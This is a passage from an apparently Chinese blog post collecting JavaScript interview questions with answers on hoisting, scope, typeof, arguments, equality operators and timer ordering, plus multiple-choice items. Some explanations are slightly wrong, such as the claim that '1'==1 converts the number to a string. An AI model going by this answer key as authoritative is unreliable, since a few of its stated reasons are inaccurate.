class="name">li</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">  <span class="keyword">var</span> items = <span class="built_in">document</span>.getElementsByTagName(<span class="string">&apos;li&apos;</span>);</div><div class="line">  <span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; items.length; i++){</div><div class="line">    <span class="keyword">if</span>(items[i].innerHTML == <span class="string">&apos;&apos;</span>){</div><div class="line">      items[i].parentNode.removeChild(items[i]);</div><div class="line">    }</div><div class="line">  }</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div></pre></td></tr></table></figure>
<p>&#x7ED3;&#x679C;&#x662F;&#xFF1A;4</p>
<h2 id="&#x7A0B;&#x5E8F;&#x4E2D;&#x6355;&#x83B7;&#x5F02;&#x5E38;&#x7684;&#x65B9;&#x6CD5;"><a href="#&#x7A0B;&#x5E8F;&#x4E2D;&#x6355;&#x83B7;&#x5F02;&#x5E38;&#x7684;&#x65B9;&#x6CD5;" class="headerlink" title="&#x7A0B;&#x5E8F;&#x4E2D;&#x6355;&#x83B7;&#x5F02;&#x5E38;&#x7684;&#x65B9;&#x6CD5;"></a>&#x7A0B;&#x5E8F;&#x4E2D;&#x6355;&#x83B7;&#x5F02;&#x5E38;&#x7684;&#x65B9;&#x6CD5;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="built_in">window</span>.error;</div><div class="line"><span class="keyword">try</span>{}<span class="keyword">catch</span>(){}<span class="keyword">finally</span>{}</div></pre></td></tr></table></figure>
<h2 id="&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x4E0A;&#x6DFB;&#x52A0;&#x65B9;&#x6CD5;"><a href="#&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x4E0A;&#x6DFB;&#x52A0;&#x65B9;&#x6CD5;" class="headerlink" title="&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x4E0A;&#x6DFB;&#x52A0;&#x65B9;&#x6CD5;"></a>&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x4E0A;&#x6DFB;&#x52A0;&#x65B9;&#x6CD5;</h2><p>&#x7ED9;String&#x5BF9;&#x8C61;&#x6DFB;&#x52A0;&#x4E00;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x4F20;&#x5165;&#x4E00;&#x4E2A; string &#x7C7B;&#x578B;&#x7684;&#x53C2;&#x6570;&#xFF0C;&#x7136;&#x540E;&#x5C06; string &#x7684;&#x6BCF;&#x4E2A;&#x5B57;&#x7B26;&#x95F4;&#x4EF7;&#x683C;&#x7A7A;&#x683C;&#x8FD4;&#x56DE;<br>&#x4F8B;&#x5982;&#xFF1A;<code>addSpace(&quot;hello world&quot;) // -&gt; &apos;h e l l o w o r l d&apos;</code></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="built_in">String</span>.prototype.spacify = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="keyword">return</span> <span class="keyword">this</span>.split(<span class="string">&apos;&apos;</span>).join(<span class="string">&apos; &apos;</span>);</div><div class="line">};</div></pre></td></tr></table></figure>
<h2 id="&#x6570;&#x7EC4;&#x548C;&#x5B57;&#x7B26;&#x4E32;"><a href="#&#x6570;&#x7EC4;&#x548C;&#x5B57;&#x7B26;&#x4E32;" class="headerlink" title="&#x6570;&#x7EC4;&#x548C;&#x5B57;&#x7B26;&#x4E32;"></a>&#x6570;&#x7EC4;&#x548C;&#x5B57;&#x7B26;&#x4E32;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">outPut</span>(<span class="params">s</span>) </span>{</div><div class="line">  <span class="built_in">document</span>.writeln(s);</div><div class="line">}</div><div class="line"><span class="keyword">var</span> a = <span class="string">&quot;lashou&quot;</span>;</div><div class="line"><span class="keyword">var</span> b = a;</div><div class="line">outPut(b);</div><div class="line">a = <span class="string">&quot;&#x62C9;&#x624B;&quot;</span>;</div><div class="line">outPut(a);</div><div class="line">outPut(b);</div><div class="line"><span class="keyword">var</span> a_array = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</div><div class="line"><span class="keyword">var</span> b_array = a_array;</div><div class="line">outPut(b_array);</div><div class="line">a_array[<span class="number">3</span>] = <span class="number">4</span>;</div><div class="line">outPut(a_array);</div><div class="line">outPut(b_array);</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;lashou &#x62C9;&#x624B; lashou 1,2,3 1,2,3,4 1,2,3,4</p>
<h2 id="&#x4E0B;&#x5217;&#x63A7;&#x5236;&#x53F0;&#x90FD;&#x8F93;&#x51FA;&#x4EC0;&#x4E48;"><a href="#&#x4E0B;&#x5217;&#x63A7;&#x5236;&#x53F0;&#x90FD;&#x8F93;&#x51FA;&#x4EC0;&#x4E48;" class="headerlink" title="&#x4E0B;&#x5217;&#x63A7;&#x5236;&#x53F0;&#x90FD;&#x8F93;&#x51FA;&#x4EC0;&#x4E48;"></a>&#x4E0B;&#x5217;&#x63A7;&#x5236;&#x53F0;&#x90FD;&#x8F93;&#x51FA;&#x4EC0;&#x4E48;</h2><p>&#x7B2C;1&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">setName</span>(<span class="params"></span>)</span>{</div><div class="line">  name=<span class="string">&quot;&#x5F20;&#x4E09;&quot;</span>;</div><div class="line">}</div><div class="line">setName();</div><div class="line"><span class="built_in">console</span>.log(name); <span class="comment">// &#x7B54;&#x6848;&#xFF1A;&quot;&#x5F20;&#x4E09;&quot;</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;2&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x8003;&#x70B9;&#xFF1A;1&#x3001;&#x53D8;&#x91CF;&#x58F0;&#x660E;&#x63D0;&#x5347; 2&#x3001;&#x53D8;&#x91CF;&#x641C;&#x7D22;&#x673A;&#x5236;</span></div><div class="line"><span class="keyword">var</span> a=<span class="number">1</span>;</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="built_in">console</span>.log(a); <span class="comment">// &#x7B54;&#x6848;&#xFF1A;undefined</span></div><div class="line">  <span class="keyword">var</span> a=<span class="number">1</span>;</div><div class="line">}</div><div class="line">test();</div></pre></td></tr></table></figure>
<p>&#x7B2C;3&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> b=<span class="number">2</span>;</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">test2</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="built_in">window</span>.b=<span class="number">3</span>;</div><div class="line">  <span class="built_in">console</span>.log(b); <span class="comment">// &#x7B54;&#x6848;&#xFF1A;3</span></div><div class="line">}</div><div class="line">test2();</div></pre></td></tr></table></figure>
<p>&#x7B2C;4&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">c=<span class="number">5</span>;<span class="comment">//&#x58F0;&#x660E;&#x4E00;&#x4E2A;&#x5168;&#x5C40;&#x53D8;&#x91CF;c </span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">test3</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="built_in">window</span>.c=<span class="number">3</span>;</div><div class="line">  <span class="built_in">console</span>.log(c);   <span class="comment">//&#x7B54;&#x6848;&#xFF1A;undefined&#xFF0C;&#x539F;&#x56E0;&#xFF1A;&#x7531;&#x4E8E;&#x6B64;&#x65F6;&#x7684;c&#x662F;&#x4E00;&#x4E2A;&#x5C40;&#x90E8;&#x53D8;&#x91CF;c&#xFF0C;&#x5E76;&#x4E14;&#x6CA1;&#x6709;&#x88AB;&#x8D4B;&#x503C;</span></div><div class="line">  <span class="keyword">var</span> c;</div><div class="line">  <span class="built_in">console</span>.log(<span class="built_in">window</span>.c);<span class="comment">//&#x7B54;&#x6848;&#xFF1A;3&#xFF0C;&#x539F;&#x56E0;&#xFF1A;&#x8FD9;&#x91CC;&#x7684;c&#x5C31;&#x662F;&#x4E00;&#x4E2A;&#x5168;&#x5C40;&#x53D8;&#x91CF;c</span></div><div class="line">}</div><div class="line">test3();</div></pre></td></tr></table></figure>
<p>&#x7B2C;5&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> arr = [];</div><div class="line">arr[<span class="number">0</span>]  = <span class="string">&apos;a&apos;</span>;</div><div class="line">arr[<span class="number">1</span>]  = <span class="string">&apos;b&apos;</span>;</div><div class="line">arr[<span class="number">10</span>] = <span class="string">&apos;c&apos;</span>;</div><div class="line">alert(arr.length);  <span class="comment">//&#x7B54;&#x6848;&#xFF1A;11</span></div><div class="line"><span class="built_in">console</span>.log(arr[<span class="number">5</span>]);  <span class="comment">//&#x7B54;&#x6848;&#xFF1A;undefined</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;6&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> a=<span class="number">1</span>;</div><div class="line"><span class="built_in">console</span>.log(a++);   <span class="comment">//&#x7B54;&#x6848;&#xFF1A;1</span></div><div class="line"><span class="built_in">console</span>.log(++a);   <span class="comment">//&#x7B54;&#x6848;&#xFF1A;3</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;7&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="built_in">console</span>.log(<span class="literal">null</span>==<span class="literal">undefined</span>); <span class="comment">//&#x7B54;&#x6848;&#xFF1A;true</span></div><div class="line"><span class="built_in">console</span>.log(<span class="string">&quot;1&quot;</span>==<span class="number">1</span>);    <span class="comment">//&#x7B54;&#x6848;&#xFF1A;true&#xFF0C;&#x56E0;&#x4E3A;&#x4F1A;&#x5C06;&#x6570;&#x5B57;1&#x5148;&#x8F6C;&#x6362;&#x4E3A;&#x5B57;&#x7B26;&#x4E32;1</span></div><div class="line"><span class="built_in">console</span>.log(<span class="string">&quot;1&quot;</span>===<span class="number">1</span>);   <span class="comment">//&#x7B54;&#x6848;&#xFF1A;false&#xFF0C;&#x56E0;&#x4E3A;&#x6570;&#x636E;&#x7C7B;&#x578B;&#x4E0D;&#x4E00;&#x81F4;</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;8&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">typeof</span> <span class="number">1</span>;   <span class="string">&quot;number&quot;</span></div><div class="line"><span class="keyword">typeof</span> <span class="string">&quot;hello&quot;</span>;   <span class="string">&quot;string&quot;</span></div><div class="line"><span class="keyword">typeof</span> /[<span class="number">0</span><span class="number">-9</span>]/;   <span class="string">&quot;object&quot;</span></div><div class="line"><span class="keyword">typeof</span> {};    <span class="string">&quot;object&quot;</span></div><div class="line"><span class="keyword">typeof</span> <span class="literal">null</span>;    <span class="string">&quot;object&quot;</span></div><div class="line"><span class="keyword">typeof</span> <span class="literal">undefined</span>; <span class="string">&quot;undefined&quot;</span></div><div class="line"><span class="keyword">typeof</span> [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>];   <span class="string">&quot;object&quot;</span></div><div class="line"><span class="keyword">typeof</span> <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{};  <span class="comment">//&quot;function&quot;</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;9&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="built_in">parseInt</span>(<span class="number">3.14</span>);     <span class="comment">//3</span></div><div class="line"><span class="built_in">parseFloat</span>(<span class="string">&quot;3asdf&quot;</span>);    <span class="comment">//3</span></div><div class="line"><span class="built_in">parseInt</span>(<span class="string">&quot;1.23abc456&quot;</span>);</div><div class="line"><span class="built_in">parseInt</span>(<span class="literal">true</span>);<span class="comment">//&quot;true&quot; NaN</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;10&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x8003;&#x70B9;&#xFF1A;&#x51FD;&#x6570;&#x58F0;&#x660E;&#x63D0;&#x524D;</span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">bar</span>(<span class="params"></span>) </span>{</div><div class="line">    <span class="keyword">return</span> foo;</div><div class="line">    foo = <span class="number">10</span>;</div><div class="line">    <span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params"></span>) </span>{}</div><div class="line">    <span class="comment">//var foo = 11;</span></div><div class="line">}</div><div class="line">alert(<span class="keyword">typeof</span> bar());<span class="comment">//&quot;function&quot;</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;11&#x9898;&#xFF1A;&#x8003;&#x70B9;&#xFF1A;&#x51FD;&#x6570;&#x58F0;&#x660E;&#x63D0;&#x524D;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> foo = <span class="number">1</span>;</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">bar</span>(<span class="params"></span>) </span>{</div><div class="line">  foo = <span class="number">10</span>;</div><div class="line">  <span class="keyword">return</span>;</div><div class="line">  <span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params"></span>) </span>{}</div><div class="line">}</div><div class="line">bar();</div><div class="line">alert(foo);<span class="comment">// 1</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;12&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="built_in">console</span>.log(a);<span class="comment">//&#x662F;&#x4E00;&#x4E2A;&#x51FD;&#x6570;</span></div><div class="line"><span class="keyword">var</span> a = <span class="number">3</span>;</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">a</span>(<span class="params"></span>)</span>{}</div><div class="line"><span class="built_in">console</span>.log(a);<span class="comment">////3</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;13&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x8003;&#x70B9;&#xFF1A;&#x5BF9;arguments&#x7684;&#x64CD;&#x4F5C;</span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params">a</span>) </span>{</div><div class="line">    <span class="built_in">arguments</span>[<span class="number">0</span>] = <span class="number">2</span>;</div><div class="line">    alert(a);<span class="comment">//&#x7B54;&#x6848;&#xFF1A;2&#xFF0C;&#x56E0;&#x4E3A;&#xFF1A;a&#x3001;arguments&#x662F;&#x5BF9;&#x5B9E;&#x53C2;&#x7684;&#x8BBF;&#x95EE;&#xFF0C;b&#x3001;&#x901A;&#x8FC7;arguments[i]&#x53EF;&#x4EE5;&#x4FEE;&#x6539;&#x6307;&#x5B9A;&#x5B9E;&#x53C2;&#x7684;&#x503C;</span></div><div class="line">}</div><div class="line">foo(<span class="number">1</span>);</div></pre></td></tr></table></figure>
<p>&#x7B2C;14&#x9898;&#xFF1A;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params">a</span>) </span>{</div><div class="line">  alert(<span class="built_in">arguments</span>.length);<span class="comment">//&#x7B54;&#x6848;&#xFF1A;3&#xFF0C;&#x56E0;&#x4E3A;arguments&#x662F;&#x5BF9;&#x5B9E;&#x53C2;&#x7684;&#x8BBF;&#x95EE;</span></div><div class="line">}</div><div class="line">foo(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>);</div></pre></td></tr></table></figure>
<p>&#x7B2C;15&#x9898;:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">bar();<span class="comment">//&#x62A5;&#x9519;</span></div><div class="line"><span class="keyword">var</span> foo = <span class="function"><span class="keyword">function</span> <span class="title">bar</span>(<span class="params">name</span>) </span>{</div><div class="line">  <span class="built_in">console</span>.log(<span class="string">&quot;hello&quot;</span>+name);</div><div class="line">  <span class="built_in">console</span>.log(bar);</div><div class="line">};</div><div class="line"><span class="comment">//alert(typeof bar);</span></div><div class="line">foo(<span class="string">&quot;world&quot;</span>);<span class="comment">//&quot;hello&quot;</span></div><div class="line"><span class="built_in">console</span>.log(bar);<span class="comment">//undefined</span></div><div class="line"><span class="built_in">console</span>.log(foo.toString());</div><div class="line">bar();<span class="comment">//&#x62A5;&#x9519;</span></div></pre></td></tr></table></figure>
<p>&#x7B2C;16&#x9898;&#xFF1A;&#x4EE5;&#x4E0B;&#x6267;&#x884C;&#x4F1A;&#x6709;&#x4EC0;&#x4E48;&#x8F93;&#x51FA;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="built_in">console</span>.log(<span class="string">&quot;test&#x51FD;&#x6570;&quot;</span>);</div><div class="line">}</div><div class="line">setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="built_in">console</span>.log(<span class="string">&quot;&#x5B9A;&#x65F6;&#x5668;&#x56DE;&#x8C03;&#x51FD;&#x6570;&quot;</span>);</div><div class="line">}, <span class="number">0</span>)</div><div class="line">test();</div></pre></td></tr></table></figure>
<p>&#x7ED3;&#x679C;&#xFF1A;</p>
<p>test&#x51FD;&#x6570;<br>&#x5B9A;&#x65F6;&#x5668;&#x56DE;&#x8C03;&#x51FD;&#x6570;</p>
<h2 id="&#x9009;&#x62E9;&#x9898;"><a href="#&#x9009;&#x62E9;&#x9898;" class="headerlink" title="&#x9009;&#x62E9;&#x9898;"></a>&#x9009;&#x62E9;&#x9898;</h2><h3 id="&#x4EE5;&#x4E0B;&#x54EA;&#x4E9B;&#x662F;javascript&#x7684;&#x5168;&#x5C40;&#x51FD;&#x6570;&#xFF1A;-ABC"><a href="#&#x4EE5;&#x4E0B;&#x54EA;&#x4E9B;&#x662F;javascript&#x7684;&#x5168;&#x5C40;&#x51FD;&#x6570;&#xFF1A;-ABC" class="headerlink" title="&#x4EE5;&#x4E0B;&#x54EA;&#x4E9B;&#x662F;javascript&#x7684;&#x5168;&#x5C40;&#x51FD;&#x6570;&#xFF1A;( ABC )"></a>&#x4EE5;&#x4E0B;&#x54EA;&#x4E9B;&#x662F;javascript&#x7684;&#x5168;&#x5C40;&#x51FD;&#x6570;&#xFF1A;( ABC )</h3><p>A. escape &#x51FD;&#x6570;&#x53EF;&#x5BF9;&#x5B57;&#x7B26;&#x4E32;&#x8FDB;&#x884C;&#x7F16;&#x7801;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x53EF;&#x4EE5;&#x5728;&#x6240;&#x6709;&#x7684;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x8BFB;&#x53D6;&#x8BE5;&#x5B57;&#x7B26;&#x4E32;&#x3002;ECMAScript v3 &#x53CD;&#x5BF9;&#x4F7F;&#x7528;&#x8BE5;&#x65B9;&#x6CD5;&#xFF0C;&#x5E94;&#x7528;&#x4F7F;&#x7528; decodeURI() &#x548C; decodeURIComponent() &#x66FF;&#x4EE3;&#x5B83;&#x3002;<br>B. parseFloat parseFloat() &#x51FD;&#x6570;&#x53EF;&#x89E3;&#x6790;&#x4E00;&#x4E2A;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x5E76;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x6D6E;&#x70B9;&#x6570;&#x3002;&#x8BE5;&#x51FD;&#x6570;&#x6307;&#x5B9A;&#x5B57;&#x7B26;&#x4E32;&#x4E2D;&#x7684;&#x9996;&#x4E2A;&#x5B57;&#x7B26;&#x662F;&#x5426;&#x662F;&#x6570;&#x5B57;&#x3002;&#x5982;&#x679C;&#x662F;&#xFF0C;&#x5219;&#x5BF9;&#x5B57;&#x7B26;&#x4E32;&#x8FDB;&#x884C;&#x89E3;&#x6790;&#xFF0C;&#x76F4;&#x5230;&#x5230;&#x8FBE;&#x6570;&#x5B57;&#x7684;&#x672B;&#x7AEF;&#x4E3A;&#x6B62;&#xFF0C;&#x7136;&#x540E;&#x4EE5;&#x6570;&#x5B57;&#x8FD4;&#x56DE;&#x8BE5;&#x6570;&#x5B57;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x4F5C;&#x4E3A;&#x5B57;&#x7B26;&#x4E32;&#x3002;<br>C. eval  &#x51FD;&#x6570;&#x53EF;&#x8BA1;&#x7B97;&#x67D0;&#x4E2A;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x5E76;&#x6267;&#x884C;&#x5176;&#x4E2D;&#x7684;&#x7684; JavaScript &#x4EE3;&#x7801;&#x3002;<br>D. setTimeout<br>E. alert</p>
<h3 id="&#x5173;&#x4E8E;IE&#x7684;window&#x5BF9;&#x8C61;&#x8868;&#x8FF0;&#x6B63;&#x786E;&#x7684;&#x6709;&#xFF1A;-ACD"><a href="#&#x5173;&#x4E8E;IE&#x7684;window&#x5BF9;&#x8C61;&#x8868;&#x8FF0;&#x6B63;&#x786E;&#x7684;&#x6709;&#xFF1A;-ACD" class="headerlink" title="&#x5173;&#x4E8E;IE&#x7684;window&#x5BF9;&#x8C61;&#x8868;&#x8FF0;&#x6B63;&#x786E;&#x7684;&#x6709;&#xFF1A;( ACD )"></a>&#x5173;&#x4E8E;IE&#x7684;window&#x5BF9;&#x8C61;&#x8868;&#x8FF0;&#x6B63;&#x786E;&#x7684;&#x6709;&#xFF1A;( ACD )</h3><p>A. window.opener&#x5C5E;&#x6027;&#x672C;&#x8EAB;&#x5C31;&#x662F;&#x6307;&#x5411;window&#x5BF9;&#x8C61;<br>B. window.reload()&#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x7528;&#x6765;&#x5237;&#x65B0;&#x5F53;&#x524D;&#x9875;&#x9762;  &#x5E94;&#x8BE5;&#x662F;location.reload&#x6216;&#x8005;window.location.reload<br>C. window.location=&#x201D;a.html&#x201D;&#x548C;window.location.href=&#x201D;a.html&#x201D;&#x7684;&#x4F5C;&#x7528;&#x90FD;&#x662F;&#x628A;&#x5F53;&#x524D;&#x9875;&#x9762;&#x66FF;&#x6362;&#x6210;a.html&#x9875;&#x9762;<br>D. &#x5B9A;&#x4E49;&#x4E86;&#x5168;&#x5C40;&#x53D8;&#x91CF;g&#xFF1B;&#x53EF;&#x4EE5;&#x7528;window.g&#x7684;&#x65B9;&#x5F0F;&#x6765;&#x5B58;&#x53D6;&#x8BE5;&#x53D8;&#x91CF;</p>
<h3 id="&#x4E0B;&#x9762;&#x6B63;&#x786E;&#x7684;&#x662F;-A"><a href="#&#x4E0B;&#x9762;&#x6B63;&#x786E;&#x7684;&#x662F;-A" class="headerlink" title="&#x4E0B;&#x9762;&#x6B63;&#x786E;&#x7684;&#x662F; ( A )"></a>&#x4E0B;&#x9762;&#x6B63;&#x786E;&#x7684;&#x662F; ( A )</h3><p>A: &#x8DE8;&#x57DF;&#x95EE;&#x9898;&#x80FD;&#x901A;&#x8FC7;JsonP&#x65B9;&#x6848;&#x89E3;&#x51B3;<br>B&#xFF1A;&#x4E0D;&#x540C;&#x5B50;&#x57DF;&#x540D;&#x95F4;&#x4EC5;&#x80FD;&#x901A;&#x8FC7;&#x4FEE;&#x6539;window.name&#x89E3;&#x51B3;&#x8DE8;&#x57DF;&#x8FD8;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;script&#x6807;&#x7B7E;src&#xFF0C;jsonp&#x7B49;h5 Java split&#x7B49;<br>C&#xFF1A;&#x53EA;&#x6709;&#x5728;IE&#x4E2D;&#x53EF;&#x901A;&#x8FC7;iframe&#x5D4C;&#x5957;&#x8DE8;&#x57DF;<br>D&#xFF1A;MediaQuery&#x5C5E;&#x6027;&#x662F;&#x8FDB;&#x884C;&#x89C6;&#x9891;&#x683C;&#x5F0F;&#x68C0;&#x6D4B;&#x7684;&#x5C5E;&#x6027;&#x662F;&#x505A;&#x54CD;&#x5E94;&#x5F0F;&#x7684;</p>
<h3 id="&#x9519;&#x8BEF;&#x7684;&#x662F;-B"><a href="#&#x9519;&#x8BEF;&#x7684;&#x662F;-B" class="headerlink" title="&#x9519;&#x8BEF;&#x7684;&#x662F; ( B )"></a>&#x9519;&#x8BEF;&#x7684;&#x662F; ( B )</h3><p>A: Ajax&#x672C;&#x8D28;&#x662F;XMLHttpRequest<br>B: &#x5757;&#x5143;&#x7D20;&#x5B9E;&#x9645;&#x5360;&#x7528;&#x7684;&#x5BBD;&#x5EA6;&#x4E0E;&#x5B83;&#x7684;width&#x3001;border&#x3001;padding&#x5C5E;&#x6027;&#x6709;&#x5173;&#xFF0C;&#x4E0E;background&#x65E0;&#x5173;<br>C: position&#x5C5E;&#x6027;absolute&#x3001;fixed&#x3001;&#x2014;relative&#x2014;&#x4F1A;&#x4F7F;&#x6587;&#x6863;&#x8131;&#x6807;<br>D:  float&#x5C5E;&#x6027;left&#x4E5F;&#x4F1A;&#x4F7F;div&#x8131;&#x6807;</p>

      
    </div>

    <div>
      
        

      
    </div>

    <div>
      
        
  <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
    <div>感谢您的支持！</div>
    <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
      <span>打 赏</span>
    </button>
    <div id="QR" style="display: none;">
      
        <div id="wechat" style="display: inline-block">
          <img id="wechat_qr" src="http://ofy7k3v4s.bkt.clouddn.com/wcpayCode.jpg" alt="Hongqin Ma WeChat Pay"/>
          <p>微信打赏</p>
        </div>
      
      
        <div id="alipay" style="display: inline-block">
          <img id="alipay_qr" src="http://ofy7k3v4s.bkt.clouddn.com/apayCode.jpg" alt="Hongqin Ma Alipay"/>
          <p>支付宝打赏</p>
        </div>
      
    </div>
  </div>


      
    </div>

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/js/" rel="tag">#js</a>
          
            <a href="/tags/题库/" rel="tag">#题库</a>
          
        </div>
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2015/07/19/e002-面试题库-js-基础（上）/" rel="next" title="题库-js 篇（上）">
                <i class="fa fa-chevron-left"></i> 题库-js 篇（上）
              </a>
            
          </div>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2015/08/01/e004-面试题库-HTML5、CSS3/" rel="prev" title="题库-HTML5、CSS3">
                题库-HTML5、CSS3 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </article>



    <div class="post-spread">
      
        <div class="ds-share flat" data-thread-key="2015/07/26/e003-面试题库-js-基础（下）/"
     data-title="题库-js 基础（下）"
     data-content=""
